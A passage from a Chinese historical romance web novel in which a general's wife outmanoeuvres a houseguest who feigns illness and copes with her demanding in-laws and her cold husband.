院内亮着灯,青枝青叶在正房外的廊檐下一左一右站着,看见苏云瑶走来,两人眼睛一亮,不约而同地小跑到了她身边。
“宋姑娘怎样了?”苏云瑶道。
正房的门半掩着,瞧不见里面的情形,青枝青叶被赶到了外面,也不知宋姑娘怎样了,只是听到将军进去后,隐约传来了宋姑娘说心口疼的哎呦声。
才在这里服侍了一天,她们两个像受了半年刑,青枝眼周一片乌青,噘着嘴生气:“大奶奶什么时候把我们调回紫薇院,昨晚宋姑娘熬了半宿,她那个丫鬟也不许我们睡,还说地缝里有灰,让我们扫了半夜的地,快累死了。”
青叶老实木讷,不爱说话,一个劲地揉着两条酸痛的胳膊,苦着脸不吭声。
听两人倒了几句苦水,到了正房时,宋婉柔正捂着心口,病恹恹地靠在圈椅上坐着。
隔着她几步远的距离,裴秉安负手而立,剑眉紧拧。
宋姑娘的情形,看上去有些不好,这屋里不见大夫,苏云瑶关心地问:“夫君,可去请大夫了?”
裴秉安回眸,见到她,似有些意外她会来,随后点了点头,道:“已经让青山去了。”
青山是他的小厮,骑马很快,他去太医院请大夫,想必两刻钟就会回来的。
听到苏云瑶的声音,宋婉柔缓缓睁开眼睛,气若游丝地说:“大嫂,麻烦你这么晚了还来看我。”
她一副有气无力的模样,看上去病得不轻,苏云瑶道:“妹妹坚持一会儿,大夫很快就来了。”
宋婉柔点了点头,一旁的白莲突然抽抽噎噎哭了起来:“这是我们姑娘的老毛病了,劳心劳力就会犯病的。”
闻言,裴秉安神色一凛,眼神锐利地看向她:“你的主子可是做了什么重活?”
白莲从里间抱出个针线筐来,那筐里有一只刚做好的香囊,说:“姑娘空手来的,没带什么礼,听说大奶奶喜欢调制香料,昨晚便熬夜做了只香囊,是要送给大奶奶的,还请大奶奶不要嫌弃。”
苏云瑶微不可察地挑起秀眉。
原来这个病,竟是冲她来的?!
还没等她开口,裴秉安已拧眉看向她,沉声道:“我说过,要把婉柔当成妹妹照顾,以后不要让她受累。”
苏云瑶顺从地点了点头,转头看着宋婉柔,温柔地说:“妹妹养好身子才是最重要的,以后不要劳神费力做东西了,你大哥早就说过,你要把这里当成自己的家,你这样与我见外,为了给我做东西,弄出一身病来,若是有个三长两短,可如何是好?”
她这样说了,显出大嫂应有的态度,裴秉安沉冷的脸色稍稍好了一点。
苏云瑶微微一笑,接着道:“说起来,你熬夜做香囊引发旧疾,归根究底,都是你大哥的不是。他不够心细,你们自小相识,他竟没想到这一层,亏你不生他的气,我这个做大嫂的,倒要替他跟你赔个不是。”
她说得竟很有道理,裴秉安迟疑地看了她一眼,剑眉不自在地拧起。
不过,听到她的话,本来看上去满脸病容的宋婉柔一愣,顾不得自己心口还疼,急忙斥责了白莲几句,道:“这都是丫鬟多嘴,我身子本就不好,又不是做香囊惹出来的,与大哥大嫂何干?”
没过多久,大夫来到月华院后,毕恭毕敬地给裴将军行了礼,之后便开始给病患诊脉。
顶着裴秉安沉冷肃然的视线,大夫不敢不仔细,反复诊了几遍,斟酌了又斟酌,才开了副药方,正色叮嘱道:“病患气血不足,偶然会有心悸疼痛的症状,这药可止痛,服下后症状即可缓解。平时要悉心调养,可以吃些人参养身补气,强健身体。”
大夫的话,裴秉安谨记在心。
待大夫提着药箱打算离开时,苏云瑶请他在廊下稍等片刻,道:“大夫,我那妹妹身子弱,您刚才说了,人参补身,那每日服用二两人参,连吃三个月,如何?”
大夫一听,眼睛立时瞪圆了,急忙连连摆手:“夫人,万万不可,这样没病也补出毛病来了!”
“没病?我刚才字字句句听得清楚,大夫明明说了,心悸疼痛,悉心调养,可不得要好好养着吗?”苏云瑶面露疑惑。
猝不及防被她抓了破绽,大夫抹了一把额上的冷汗,差点拱手求饶。
裴将军就在旁边冷然盯着,他面上镇定,实际手都吓得发抖,连诊几遍,没发现病患有什么病症,为求周全,便含糊说了个似重实轻的病症,反正温和调养身体,怎么都不会出错。
“病症没有那么重,尽心调养就行。”大夫讪笑。
苏云瑶盯着他,慢悠悠地压低声音道:“说实话。不然我换个大夫来,若查出你在糊弄,这事可不会轻易算了。”
大夫冷汗直流,连忙如实相告:“她没病,装的。”
亲眼看到宋婉柔服了药,脸色也恢复如常,裴秉安方离开了月华院。
走到院外时,他沉声问道:“府里可还有上好的人参?”
库房里还有几支拇指粗细的人参,苏云瑶意味深长地看了他一眼,说:“夫君,有一些,够妹妹服用一个月了。你放心,之后用完了,我再让人去药铺买些回来。”
她做事细心周全,裴秉安很是满意。
月上中天,皎洁的月光撒下,纤细的身影笼在月影中,裴秉安垂眸,瞥见她侧身凝视着别处,唇角微微翘起,如平时温婉贤淑的模样。
思忖片刻,裴秉安又道:“以后,你的月银是多少,给婉柔也发多少。另外,她的孝期快满了,以后每个月你再给她添几套新衣,买一些钗环首饰。”
苏云瑶一口应下,笑着对他道:“这还用说,夫君不提,我也会这样做的。”
裴秉安沉沉看了她片刻。
他公务繁忙,从不贪恋床笫之事,每月固定宿在她院里几回,也是为了绵延子嗣。
今日不是他宿在她院里的日子,他不会陪她回去了。
不过,还没等他开口,苏云瑶已温婉一笑与他作别,脚步轻快得径自离去。
~~~
月华院。
服过参汤,宋婉柔躺在榻上休息时,听说她病了,老太太也打发丫鬟秋红过来。
秋红走到里间,打量了几眼宋婉柔的脸色,见她面色有些发白,一只手捂着胸口,似是有些难受的模样,心不由提了起来。
她没打扰宋姑娘休息,走到外间跟白莲说话:“姑娘的病怎样了?可有大碍?老太太担心得紧呢。”
白莲叹了一声,愁眉苦脸地说:“幸亏将军及时请来了大夫,大夫说,只要按时服药养着,以后能好。”
秋红道:“姑娘这病症是怎么回事?”
白莲拿帕子擦了擦眼角的泪,说:“姑娘这是小时候落水留下的病根,平时得用药温养着,不能受累,不能受气,不然容易犯病。”
秋红待了一会儿,见宋婉柔睡得安稳,应是病情暂时没有大碍,便要去桂香堂回复老太太。
白莲送她到
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门口,再回到里间时,蹲在床榻旁,轻声道:“小姐,好些了吗?起来喝口水,润润嗓子。”
宋婉柔睁开眼睛,一扫方才病恹恹的模样,慢慢靠坐在床榻上,接过丫鬟递到手里的热茶喝了几口,脸上浮出若有似无的笑意。
白莲压低声音,得意一笑:“姑娘,这下终于放心了,那大奶奶是个听话没主意的,这家里还是将军做主。这院子是将军让您住的,病也是将军亲自找大夫来看的,将军最在意的还是姑娘,连老太太都心疼你呢!咱们到裴府来,不就是为了这个吗?”
宋婉柔抿唇笑着睨了她一眼,示意她说话当心些。
这月华院除了她,还有紫薇院那边的丫头,小心被听了去。
~~~~
紫薇院。
苏云瑶睡前吃了几块阿胶红枣糕,吃撑了,一晚上睡得不怎么安稳。
再醒来时,眼周一圈淡淡的乌青,敷了一回花露,也没完全消去。
那点不起眼的乌青,旁人不曾注意,倒是去给老太太请安时,被崔如月看得清清楚楚,见了面,她笑得满面春风:“大嫂,昨晚没睡好啊?”
昨天半夜时分,大夫进府给宋婉柔看病,守门的婆子知道,早有嘴快的说与她听了,她抱着看热闹的态度来说话,苏云瑶神色淡定地看着她,说:“还好,多谢弟妹关心。”
崔如月让奶娘抱了孩子去一边玩,对她道:“大嫂,昨晚的事,我都听说了,婉柔身子不好,大哥性子虽冷,可是个重情重义的人,你可要大度一些,千万别放在心上。”
弟妹明着劝她,这话却故意往人心口添堵,若是当真在意这些的人,怕是要怄好几天的气。
苏云瑶分神盘算着自己私账上的银子,闻言只是微微一笑,道:“好,我知道了,多谢弟妹提醒。”
见大嫂脸色如常,竟没有开口诉苦,还是那副温婉沉静模样,崔如月不甘心地转了转眼珠子,又道:“还是大嫂大度,要我说,这话我虽是劝你,我自己却是做不到的。要是文仲若是敢这样,我非得挠花他的脸不可。”
苏云瑶回过神来,扬眉看了她一眼。
同为兄弟,裴秉安严肃自律,沉冷寡言,身居高位久了,说话行事带着不容人拒绝的冷硬强势,二弟的性格却和他没有半分相似之处。
裴文仲老实惧内,崔月如在家里说东,他是绝不敢往西去的。
苏云瑶垂眸打量了几眼崔如月的脸,亲切地提醒道:“如月,你别操心我的事了,有空多照照镜子,看看,眼角都长细纹了。”
崔如月大惊失色地按了按眼角。
她生养了两个孩子,没注意保养身材,比之前胖了不少,最近脸上还生出了细纹,着实让她气恼。
崔如月一阵风似地回院子敷脸去了。
因今日是裴府儿孙媳妇的娘家人来给老夫人贺寿,不像昨日接待王侯伯府那样礼节繁缛,花厅里摆了几桌,女眷们聚在一起,拉拉家常,说些家长里短,京中趣事,十分热闹。
忙碌了一天,客散了,回到紫薇院,晚饭时苏云瑶要喝的养颜粥,青杏已端了过来。
这粥放了桃花,薏仁,糯米,粳米,红枣和莲子,清淡香甜,美容养颜,养身补气,她每隔几日喝上一回。
细嚼慢咽吃了半碗粥,苏云瑶吩咐青杏去取人参丸。
青杏一时没过来,她靠在美人榻上,不知不觉竟睡了过去。
烛火噼啪跳跃,寂静无声的屋内,突然有脚步声走近。
男人冷冽的气息袭来,苏云瑶心神微动,慢悠悠睁开了眼睛。
裴秉安负手立在她的榻前,沉冷视线落于桌案上的粥碗,眸中有一丝不解,道:“这是什么粥?”
外面天色已暗了,他平时极少过来,此时竟又突然来了,苏云瑶警惕地看了他一眼,拢了拢衣襟起身,随口道:“这是调养身子的。”
裴秉安淡淡唔了一声。
她嫁进来三年,肚子一直没有动静,祖母一直想抱重孙,她是该好好调理身子,尽早为他诞下一双儿女的。
站在距离他几步远的地方,苏云瑶道:“夫君过来找我,有什么事?”
裴秉安垂眸看着她,锐利的眼神有些肃然,似在审视。
“我来是要问你,婉柔要用的人参,你为何还没差人给她送去?”
5. 第5章
宋姑娘要吃的人参,苏云瑶已经备好了。
不过,听到裴秉安的话,她不动声色地勾了勾唇,垂眸给他倒了盏热茶。
他今日又来紫薇院,还要当面来质问她,足以说明,昨晚宋姑娘瞧过病后,今日又打发了丫鬟去找他。
热茶轻雾袅袅,苏云瑶送到他面前,温柔道:“夫君,我已经打发丫鬟去取人参了,你稍等一会儿,坐下喝口茶。”
她沏的茶,虽看上去平常,喝起来却有不同寻常的清香,裴秉安拂袖落座,脸色稍霁。
茶喝了半盏,青杏抱来了一只枣红色的木匣。
她把木匣放到桌上打开,只见一盒人参丸整整齐齐地排放在匣内,个个鸟卵般大小,色泽犹如蜜丸,散发着清甜微苦的药香。
看到裴秉安剑眉微蹙,似有不解,苏云瑶柔声道:“夫君,若是用整支人参给婉柔妹妹熬药,剂量大小和药效都难以掌握,我差人将府里的人参送到药房打成参粉,混合蜂蜜、山药、茯苓等做成了参丸,婉柔妹妹每天饭后服用一枚,又方便,效果又好。”
她考虑周到,准备得也齐全,裴秉安淡淡打量了几眼参丸,沉声道:“为了婉柔的病,你费心了。”
苏云瑶温婉地笑了笑,话锋突然一转:“不过,凡事有利有弊,我问过大夫,这服用人参丸虽补养身子,却容易导致体内燥热上火,还要配一碗黄连汤,方能压下内火。婉柔妹妹的病不能大意,以后就让她先这样补养着,待过一阵子看看成效,再决定要不要换丸药。”
裴秉安略一颔首。
后宅之中,这种繁琐小事,他向来不会分心,这参丸的准备,可见她对照顾婉柔很是尽心,服用参丸的事,由她去做就是。
一盏茶喝完,他拂袖起身离开。
目送到他走到房外时,突然想到他今年的爵俸该发下来了,苏云瑶忙道:“夫君,等等。”
裴秉安负手转身,高大的背影逆光而立,视线沉沉地看着她:“有事?”
苏云瑶走到他身前,轻轻点了点头。
裴秉安袭着老太爷的伯爵之位,岁禄千石,换算成银子有三千两,只是自她嫁进裴府后,这笔银子她就没真正见过。
嫁进来第一年时,她打理着一府中馈,银钱不够花销,不得不想法子当了些东西周转,好在不久她私下开的铺子便有了起色,不用再为百十两银子发愁。
只是今年又出了些意外,府里收来的田租减半,他上半年的爵俸月俸没落到府里账上,老太太办寿辰时花了不少银子,这回不管他的爵俸有什么用,她得说说难处,请他把银子交过来。
一阵风吹来,有些凉意,苏云瑶体贴地帮他理了理衣襟,温声同他商量:“夫君,如今府里人口多,花销也大,你的俸禄领回来后,就交给我当家用吧。”
裴秉安拧眉沉沉看着她,大掌覆住她纤细的手指。
他何尝不知,偌大一个府邸,上下五六十人口,花销自然不少。
“你操持家宅劳心费力,实在辛苦。”
苏云瑶眼神一亮,心中暗暗纳罕,听他的意思,这回他的银子终于要给她了?
裴秉安锐利视线在房内逡巡而过,而后落在她乌发上的金玉钗环上。
她的屋子布置得精致讲究,一瓶一盏皆是官窑所出的精品,而她头上戴的钗环繁复,已隐有奢靡之状。
他沉声道:“勤俭持家,方能长久,你打理后宅,更应该明白这个道理,以后当以身作则,节省用度。”
苏云瑶:“......”
她暗暗深吸口气压住闷火,从他的大掌中抽出手来,摸了摸自己头上的发簪。
若是她现在还在青州老家,经营着自家的铺子,一个人自由自在,头上的钗环定然比这还多,这哪里算得上什么?
要说勤俭持家,她没有异议。
可若是真裁减了府里的用度,先不提祖母婆母作何反应,光是崔如月一个,就得挑出百十件事来,这些后宅的琐事他自然不会理会,可只要她在府里当一天的长孙媳,最终还得她来收拾。
想想自己私账上的银子数目,苏云瑶心里的火气消了点,左右她在裴府也不会再待太久,懒得与他理论什么,也不必再去多惹是非。
“夫君说得是,不过节省用度的事,不能着急,还要容我好好琢磨一番,以后再说。”
说完,苏云瑶如往常般笑了笑,转身朝屋里走去。
负手立在院内,望着她纤细的背影,裴秉安剑眉拧起,沉叹口气。
今岁的俸禄,他另有用处,不能给她。
身为他的妻子,她如此温柔贤惠,处处体谅认同他,让他深感欣慰。
~~~
翌日清晨,处理完府中琐事,给婆母和老夫人请过安,回到紫薇院,苏云瑶靠在窗边的美人榻上,慢慢品尝着八珍糕。
青杏在一旁梳理最近的节事。
老太太寿辰刚过,再过一个月就是中秋,又是个大节日,要提前向有来往的府邸送节礼,青杏算了一会儿,这送礼有来有往,库房里还有老夫人千秋时收的许多礼,再添些螃蟹月饼和时鲜的果品之类的,也算够了。
听青杏说完事,苏云瑶擦去唇畔的糕渣,沉吟一会儿道:“去把我前些日子没动的首饰匣子拿来。”
青杏很快取来了首饰匣子。
这些首饰都是新的,外头铺子新出的款式,苏云瑶挑了两根碧绿的翡翠簪子,两只绿玉手镯,还有一枝蝴蝶玉钗,蝴蝶振翅翩翩,似起飞的模样,看上去逼真而生动。
“这些簪子镯子包好,再去库房里找出年节时宫里赐的云缎,还有人参丸和黄连汤也别落下。”
东西都备好了,苏云瑶亲自去月华院送丸药首饰和布料。
到了月华院,青枝与青叶一个在院子里扫地,一个打了水,踩在凳子上擦窗户,晌午的日头很晒,两人热的脸色通红,满头大汗。
看到苏云瑶走进院子,她身后的丫鬟青杏还抱着一堆东西,白莲本在屋里盯着青枝青叶干活,此时掀开帘子出门迎过来,笑着福了福身:“见过大奶奶。”
自己院里那两个被使唤的团团转的丫鬟,苏云瑶似是视而不见,只是温婉一笑,缓步向屋里走去。
“婉柔在做什么?我来看看她。”
白莲暗暗瞥了眼青杏抱着的云缎,细长柳眉得意地扬了起来。
将军吩咐过要为姑娘置办钗环衣裳,果然这位大奶奶不敢不听,她送来的绸缎,日光下一照,那缎子像流水似的软滑光泽,一看便是稀罕的好东西。
眼看苏云瑶快要带着丫鬟进了屋,白莲转了转眼珠子,突然说:“大奶奶,我们姑娘身子不适,躺下睡着呢。”
苏云瑶脚步一顿,唇边笑意不减,缓缓转过头来,道:“那可是不巧呢。”
白莲往屋里看了看,似是有些为难,道:“姑娘刚躺下,今日也没梳妆,现在不便见人,要不大奶奶晚些时候再来?”
苏云瑶轻轻摩挲几下细白皓腕上的碧玉镯子,漫不经心地瞥了她一眼。
月华院面积开阔,从她走进这座院子开始,到站到正房的廊檐下为止,足足将近小半刻钟的时间,这丫鬟早有说这话的机会,却偏生等到她到了门槛外,才说出这句话。
这是绵里藏针,表面上似因她家姑娘养病请她走,实则是在反客为主,给她闭门羹吃。
若她果真是个性子良善绵软的,容下她这一回,只怕以后对方蹬鼻子上脸,还有更过分的举动。
“是吗?那没事,我给妹妹带来了人参丸,专门养身的,以后妹妹身子不会再有不适了。”苏云瑶意味深长地笑了笑,抬步向屋内走去,“把你家姑娘喊起来,药要早些吃,晚了药效就不好了。”
说话间,听到外面的声音,宋婉柔迎了出来。
她的素白孝服已换下,穿着藕荷色的裙裳,身姿如弱柳扶风,纤细而窈窕。
“见过大嫂。我刚睡下,听到大嫂的声音,便起来了。”她福身盈盈一拜,抬眸时,看得出脸颊精心
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施了脂粉,肌肤白皙滑嫩,不见半分病色。
苏云瑶让青杏将首饰匣子和布料在屋里放下,温声道:“这些布料,是给妹妹做衣裳的,妹妹看看可还喜欢?若是不喜欢,明日再让布行送几样其他的颜色来挑一挑,若是相中了,就让绣娘来为妹妹量体裁衣,做几身衣裳。”
这是宫里赐下的云缎,那蝶钗更是价值不菲,宋家以前也是名门大家,这些东西,宋婉柔自然识得。
她瞥了一眼,便很快收回了视线,笑着说:“我住在这里,已给大哥大嫂添了不少麻烦,怎还让你们如此破费。”
说着,转头吩咐白莲沏茶:“去将我房里的茶叶泡上,让大嫂尝一尝。”
苏云瑶落座,寒暄几句,关心她的病情:“妹妹服了药,可好些了?”
宋婉柔捂唇轻咳了几声,道:“多亏大哥为我请大夫医病,服了药,已好了很多。”
“光服药可不行,还得养身,”苏云瑶笑着吩咐青杏拿来人参丸,连带食盒里的一大碗黄连汤,一起放到了桌上,“这人参丸养身补气,配合着黄连汤使用,最适合你这种症状。你大哥说了,让你每日三顿服这种人参丸,吃过药丸后,再喝一碗黄连汤。”
宋婉柔一愣,看到那鲜黄的、散发着浓烈苦味的黄连汤,眼睫震动地颤了颤。
人参丸配黄连汤,她从未听说过这种养身的方子,是眼前这位出身低微、娘家落魄的大嫂不懂药方,还是她已经看穿了什么......
还在她思量间,苏云瑶轻轻一笑,催促道:“妹妹发呆做什么?这是我一早吩咐丫鬟熬的,别的不说,我略微懂些医理,吃了人参丸,喝了黄连汤,妹妹如果能早日痊愈呢,那我就不必担心了,若是身子还不好,以后还得加大药量呢。”
宋婉柔的脸色红白交错,变幻纷呈,半晌后,拈起一枚人参丸咽下,之后端起黄连汤喝了下去。
那一碗黄连汤喝完了,苏云瑶道:“妹妹觉得如何了?”
宋婉柔舌根发苦,勉强笑了笑:“大嫂,我觉得已经大好了,以后也不用再服药了。”
苏云瑶点了点头,如果她真是个聪明人,从此以后见好就收便罢,她忙得很,也无暇故意刁难人。
苏云瑶看了眼白莲,见她脸上的颜色不比她的主子好哪里去,微微一笑道:“妹妹,我看白姑娘很是辛苦,晌午日头晒,还得费心盯着丫鬟干活,我们府里没那么多讲究,天热的时候,主子下人都要歇晌的。你怎不让白姑娘也歇一歇?下午再做也不迟。”
青枝青叶是苏云瑶拨来月华院的,此时还在院里顶着日头做活,宋婉柔脸色又是一变,亲盯着白莲去给她们赔了不是,返回正房后,重新亲手倒了盏茶,恭恭敬敬放到苏云瑶面前。
“大嫂,我已训过丫鬟了,以后再不会有这样的事发生了,还请大嫂不要生气。”
苏云瑶点了点头,笑道:“只要以后不会再有这样的事,我自然不会介意。”
宋家伯父伯母曾于裴秉安有恩,她可以帮他照顾宋婉柔一二,那些首饰绸缎,送与她也是该的。
可她来者不善,刚一进府,便使出了伎俩对付她,不像图财,也不像是为了谋事,而是明摆着看上了她这个裴府大奶奶的位置,想取而代之。
她要时常出府打理自己私下的生意,目前这个身份对她很重要,在她离开裴府之前,绝对不会拱手让人。
出了月华院,想起院里那对主仆的脸色,青杏翘起的嘴角没停下来过。
这下大奶奶敲打了她们一番,谅她们总该安分守己,消停一阵。
青枝青叶还在那院里伺候,以后也不会受什么磋磨。
临走前,她还偷偷跟她俩说了,让她们留意月华院的举动,但凡那位宋姑娘再说心口疼去请将军,便及时打发人去紫薇院知会一声。
日头西斜,余热不减,慢慢朝紫薇院走着时,苏云瑶忽然停下了脚步。
就在片刻之前,一个人影往假山后面一闪,藏在了她看不见的地方。
6. 第6章
那人影鬼鬼祟祟藏了起来,指定有什么想瞒人的事。
苏云瑶朝青杏使了个眼色,示意她不要做声,青杏会意地点点头,两人若无其事地边说话边往前走着,待走到拐角一丛茂密的绿竹旁时,两人便猫腰躲在竹子后面,等着藏起来的人现身。
过了一会儿,没听到外面有动静,一个丫鬟从假山后面探头探脑张望几番,见四周无人,便放心地走了出来。
待她提着食盒撒腿想朝别处跑去时,青杏喝道:“站住,过来!”
那丫鬟一愣,惊愕地转过头来,此时被抓了个正着,躲也无处躲,只好抱紧了手里的食盒,垂头走了过来。
见了苏云瑶,丫鬟低头请安,“大奶奶。”
她是老太太院里的粗使丫鬟,管着扫地端水的粗活,苏云瑶看了一眼她手里的食盒,方才她藏起来,显然怕是她看见食盒里的东西。
食盒里能装什么?顶多是一点儿精贵些的吃食,难不成还怕她要走?
苏云瑶道:“打开食盒,我看看里面有什么。”
丫鬟犹豫地摸了几下盒盖,而后咬了咬唇,将盒盖慢慢揭开。
只见食盒里放着个足有半只脸盆那么大的青瓷碗,碗里满满当当堆放着淡红鳞皮的荔枝,个个鸡蛋般大小,因洁白的碎冰镇在瓷碗边缘,荔枝看上去大体还是新鲜的,不过边缘泛起了黑色的斑点。
苏云瑶无语片刻。
这种新鲜荔枝从南地送到京都,需得快马加鞭日夜不停地运输七日,就算是京都的达官贵人也难吃到,这是宫里赏下的,只是今年的份例少,裴秉安都孝敬给了祖母尝鲜。
“送到哪里去?”苏云瑶道。
丫鬟老老实实地说:“老太太让我送到二奶奶的瑞香院去。”
苏云瑶笑着点了点头,果然不出她所料,原是要送到弟媳崔如月的院子里去。
“不过是送些荔枝,见了我藏起来做什么?”
丫鬟嗫嚅着说:“是秋红姐姐告诉我,别让大奶奶看见。”
打发丫鬟离开,回紫薇院的路上,青杏忍不住生气:“我以为秋红是个好的,和她走得也近,没想到她竟是个坏心眼的,还防着大奶奶。”
她气得眉毛都皱成了一团,苏云瑶忍俊不禁,笑着提醒道:“你别好赖不分,冤枉了秋红。”
青杏想了想,忽地明白过来,想是老太太偏心,什么好东西都只往二奶奶院里送,秋红怕大奶奶知道了生气,才提前告诉小丫鬟避开些。
荔枝的事,苏云瑶毫不在意。
回到屋里,燃了一炉清味香,水灵灵的新鲜紫葡萄放在白玉盘里,她靠在美人榻上,一边吃着葡萄一边看账本。
刚吃完半碟香甜的葡萄,管花草的王妈妈来了,说是有事要来回。
苏云瑶让她坐了,王妈妈拧着眉头诉苦:“大奶奶,今日我去给小姐院里送那才开的头一茬菊花,那菊花都是我一朵一朵挑拣过的,足有拳头那么大,插在瓶子里,再好看不过了。小姐本是爱草爱花的,每次我送过去花她都喜欢,今天却把花都扔了,以后还不准我往海棠院送了。”
裴淑娴性子有些阴晴不定,自从贺探花成亲了以后,她的脾性更是古怪了,苏云瑶让王妈妈坐着吃葡萄,安慰道:“小姐兴许只是心情不好,与你无关,待过些日子,她又喜欢了,还会再让你送。”
王妈妈心头顿时松快了许多,她生怕小姐不满意她养的花,一气之下把她撵出裴府去。
自打大奶奶当家以来,仆妇的月银每个月按时发放,逢年过节还有赏赐,这么好的差事,她可不舍得丢了。
王妈妈笑道:“大奶奶说得对,小姐八成是心情不好,她没要我送的花,后来去夫人院里说了一声,带着丫鬟亲自去外面买花去了。”
苏云瑶心头一动,突然想到了什么:“你可知道她去哪里买花了?”
看大奶奶拧起眉头,似乎有什么重要的事,王妈妈凝神回想一番,道:“我看见小姐出门,有她的丫鬟跟着,坐的是府里的马车,去了哪里我却不知道,大奶奶,要不我去打听打听?”
王妈妈四十多岁,管着府里花草,经常在各院里穿梭送花,腿脚走得快,做事麻利,脑袋也灵活,一点就透。
苏云瑶沉思一会儿,对她道:“我另派你个差事,从今往后,你暗中盯着小姐的院子,她若是出了府,你就悄悄跟去,看她去了哪里,见了什么人,无论看到什么,都不要声张,回来一五一十告诉地我,切记行事小心些,不要被发现了。”
王妈妈当即拍拍胸脯答应下来。
转眼几日过去,裴秉安又出了一趟短差,直到该宿在紫薇院的日子也没回来。
他不来,苏云瑶暗觉庆幸,他少来一次,她就少受一回罪。
这日清晨,苏云瑶照常去婆母院子里请安。
罗氏晨起照镜子时发现两鬓生出些白发,嘴角一直耷拉着,丫鬟倒茶时不小心洒到桌面上,罗氏气不打一处来,狠狠骂了几句,还要罚丫鬟出去跪着。
苏云瑶瞧出婆母迁怒丫鬟的原因,忙笑着道:“前些日子我去药铺,听说有一种药,只要涂在白发上,很快就会让头发变黑,要不我差人去买回来,母亲试一试?”
罗氏半信半疑地掀起眼皮,道:“真有这种药?”
苏云瑶道:“那开药铺的大夫我认识,他医术高明,不会骗我的。”
罗氏一喜,忙道:“既是这样,你快打发人买去。”
罗氏心里高兴,免了那丫鬟的跪,苏云瑶替丫鬟解了围,正打算走时,锦绣院突然闯进来一个人。
院里廊檐底下的鸟架上养了只黄嘴鹦鹉,进屋前,裴宝绍先去逗了几下,才往正房里来。
他今年十六岁,一身宽袖海青色锦缎长袍,腰间系着玉带,身材修长,皮肤白皙,生得俊俏,眉眼不似裴秉安那样沉冷,是个翩翩郎君。
见了苏云瑶,裴宝绍笑嘻嘻地一拱手:“今天这么巧,遇见了大嫂。”
苏云瑶头疼地点了点头,转身便打算离开。
她与裴宝绍极少碰面,因他在国子监读书,有时住在书院里,偶尔节假相见,三弟最常做的事,便是开口问她要银子买东西。
果不其然,还没等她走几步,裴宝绍已一溜烟追到她面前,道:“大嫂,我得买一匹千里马!你不知道,骑射的课程,我总是比不过别人,不是我骑术不好,都是因为我没有好马!我的好几个同窗都买了西域来的千里骏马,那马个头到我的肩膀那么高,甩开蹄子跑得比我的马快好几倍,要是我再不下手买一匹好马,骑射课程,我就得垫底了!”
听到儿子这样说,罗氏也马上吩咐儿媳:
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“课业要紧,你打发人去给你三弟买马!”
苏云瑶深吸口气,保持着表面的沉静端庄,尽力微微一笑。
西域的千里好马,得上千两银子起步,就算裴秉安的岁禄都交到她手上,也未必够给三弟买这样一匹马,更何况,他一分银子都没给她。
可当着婆母的面,她又不好直截了当的拒绝,便笑道:“母亲说的是,三弟的骑射课程要紧,不过,买马的事我不懂,这事还得问大爷,等他办差回来了,我替母亲与三弟问问他。”
话说完,她便像是怕被鬼撵上似的,急忙跨出了门槛。
刚出了门,裴宝绍又撩袍追了出去,冲着她的背影大声喊道:“大嫂定要跟大哥说清楚,这可是我的头等大事,别耽误了!”
三弟要买马的事,让苏云瑶着实有些发愁。
这事她也不能完全置之不理,等裴秉安办完差回来那一日,她只好去了他的院子。
到了静思院,裴秉安却不在,他去金吾卫处理军务,还没回来。
静思院院子虽大,却冷冷清清的,裴秉安喜欢安静,不习惯人近身侍奉,除了扫地浣衣的粗使丫鬟春桃和两个看守书房的护院,院里再无他人。
那护院面色冷肃尽职尽责地立在书房外面,不允许旁人轻易进入。
苏云瑶刚嫁进来时曾去过一回,给裴秉安泡了盏茶,他一句话没说,便让她离开了,自那之后,她也没再自讨没趣过。
去正房等了他一会儿,天色逐渐暗了下来。
点亮灯后,苏云瑶又等了会儿,等得很是无聊。
这屋子里只有些规整排列的桌椅,像肃然有序站岗的兵卫,默然显出一股冷肃的氛围,实在沉闷无趣。
她便从香盒里拣出一块梅花状的香饼,置于香炉上燃着。
到裴秉安平时该下值的时辰,大厨房送了晚食过来,一碗百合红枣粥,几碟清炒小菜,都是他爱吃的,苏云瑶尝了几口,没滋没味的,便放下了筷子。
裴秉安回府的时候,已到了半夜时分,外面黑漆漆一片,正房内却亮着光。
大步走到房内,沉冷视线利刃似地环顾一周,才发现他的妻支着下巴坐在桌子旁,不知等了他多久,脑袋小鸡啄米似地点着,已朦胧睡着了。
桌子上的饭菜,不消说,已凉透了,香炉上却飘着细雾似的白烟,清淡的香味弥漫在房内。
他皱了皱眉,伸出大掌,在她肩头拍了一下。
肩头一沉,苏云瑶很快睁开了眼睛。
看了眼面前的人,恍然意识到自己竟睡了过去,苏云瑶定了定神,扶着桌沿起来,道:“夫君怎么下值这么晚?”
“今日军中有些要事,回来得便晚了些,”公务上的事,他向来不同她多说,言简意赅地解释了一句,剑眉倏然拧起,转而问她,“这么晚了,怎么还没回去?”
苏云瑶揉了揉额角回想,睡得发懵,一时竟有些忘了,她在这里等他,要同他说什么来着?
裴秉安垂眸凝视着她。
她微微蹙起秀眉想事,悠亮的光线下,白皙小巧的耳垂落入眸中,似一团温润软玉。
他面无表情地看了几眼,又移目看向那熏香。
似有所悟地收回视线,他径自换了寝衣去沐浴,淡声对她道:“今晚别走了,在这里睡吧。”
7. 第7章
烛火噼啪一声,唤回苏云瑶发懵的思绪,也让她突地想起,她之所以到他院子里等他,是为了三弟要买马的事,不是要宿在他院子里。
裴秉安已去了浴房,苏云瑶耐心在房里等了他一会儿。
没多久,男人便沐浴归来,高大挺拔的身体套着墨色寝衣,肃冷刚毅的脸如往常般无波无澜,他阔步走近,垂眸扫了她一眼,便沉声道:“上榻吧。”
苏云瑶道:“夫君,我......”
还没等她说完,裴秉安已伸出大掌掀开床帐,公事公办地说:“外出办差,耽误了去你院子,今日补上。”
苏云瑶揪紧了衣襟,乌黑的眼珠急迫地转了几圈,想要找个合理的借口拒绝。
短短片刻,见她没有回应,男人已拧眉看了过来,目光逐渐沉冷,道:“今天不便,那明天再补?总归是要补上的。”
苏云瑶默默深呼一口气。
明天补自然不如今天补,至少他忙了一天,消耗了气力,不会有那么多蛮劲,榻上也能少受点折腾。
苏云瑶硬着头皮一步一挪朝他走去。
磨磨蹭蹭走到床沿边,裴秉安捏住她的腕骨,将她轻轻一带,便毫不费力地带她上了榻。
男人沐浴过后,身上依旧散发着冷冽的气息,大掌攥住腰身的时候,苏云瑶吃痛,皱眉闷哼了一声。
裴秉安突然动作一顿,似是想起什么,俯身在她唇畔,轻点了几下
之后杀伐果决,攻城掠地,强势而霸道,将一切唇齿间溢出的声响,撞碎在波涛起伏中。
清晨再醒来时,天色还未亮,苏云瑶看了看身旁,早已空空如也。
她咬牙坐起身来,拥着被子揉了揉酸痛的腰身,心中暗暗骂了几句。
